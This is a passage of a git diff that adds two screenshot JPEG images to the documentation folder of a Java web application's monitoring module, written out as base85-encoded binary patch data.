zUc5QT>h6^1QJh^zCRCiUoXY3&(D0F|#e}&zT~2-~icJ-r9v4*JPRpsfxT<sZx)1WJ z_lX25l&N@nrRQ=M*`41e6}a`aY|MspQuD7&pRprrx6^rELFtz>4KrmX7#_>-Nk4Y{ z*aF+MN!ptq8mc|JQ&PJ}NJQnFRM4_4-Y01SyW4zE9i8nrr+)IUmtL{2wVFB?2g@&Y z%569p>v;0f)&EDkSm(@Y^E`QJ){$)`md3k7uFl$Cw|W|1oUK=QRfz1QsE%u`ZOcq; z=W`u-uv9$npoIQ}q>Wt?4qXNlSTAW!SpUl}>a2rTWvTBA6^)B5)8>inv*LOvw$#+v zxbDbT>wxIBV&1FPd7k-PBY*yjArF6Q@>%)M+Gic2rtWa7`W@!MGkJ2j;+Kh$-PwL2 zArVcx@9DhsDb!qKwlOH?_JtFt{MI(+=)PR(JxBivYhAX&TB+%w_je>DOSU=stYu9p zS>2O;l=H7qa*rW*9<#R2SLGS)Dr-LF6?6+pXU4NT%~fq-+52HdGh6Q|#{920gI~^c z$xTwY_^IS##B$5BQuZBJvnEPRmy7R{Xe|B6ljiZYMdFB2=#{mrX6d;`1aCjFqpSZ% zmPb#3ypq4F0RLsqRgbp^Jd(6ey1TkBW1qveRebBVDQO*0Rh_QCF{x2exVUX?TjAC@ z92Q}+p}`Zb%FnoDx+_2Q>ar)RU;UE3FtLD3`0S@YRf}C;cXhn1nECkeGM1@5DhETW zYW}1NZtwapJYBF_n<?SyjO9o7H=Ri0agy5j>CoqB)_qMOa+~g_1;_5M+_OuY>1n;+ zj+Lvf{brtQYH0Y9-F4;y_f6W<_2PDwWHQAcD$tTSX<h&2ZGzJirkIN7=Pq9Tt9@B1 zW!-jrvCfvq>gU<k`33syyCm=;eDB_ZilvK6w=QaR4V;pB`gi!`m_OB*GqgS&`nJ33 z(8D@EyA$_sR^~<An770I&%=&CXZ7XwGvEDx<5+(FpO^XP{{Pt<Us?TLYF)WU-NV{N zb1EJ%23EXWqrhEWratMS>E1;J@$OE3Hbwuo{P?qMx$DClhK_zYyTT_do_((1^8OoB zCbYVj{eNIR_v672ed%>yZ@!I5(y)<ya9_UDWzj^%p9P!Nzc2S!x6?TO<bCI-qsQZF zf_hYTUtAW?H(&DB-w)L-%jdoKJaK=Q`LV*iJ~mZp?8ggdHwWtN`@8t#k8S5Hj^F+K zu%hNgUxdvsm7h7s+mr6ROx6tabjbE_5&!r;{?E(_70+(|b~}7>iN#O*l;FvQhBAlN RFfcGMc)I$ztaD0e0s!MWLvjEB literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_large_1.jpg b/src/main/webapp/monitoramento/docs/images/screen_shot_large_1.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d38fa24e0b5aa5cf4c7e24c20078328108406303 GIT binary patch literal 6260 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 XD^?^VJnWxzviVQ!i=~C~|8D{S792<B literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/docs/images/screen_shot_large_2.jpg b/src/main/webapp/monitoramento/docs/images/screen_shot_large_2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..da6714d6d29fdca77783059e2d56135feb6d3e5c GIT binary patch literal 5754 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 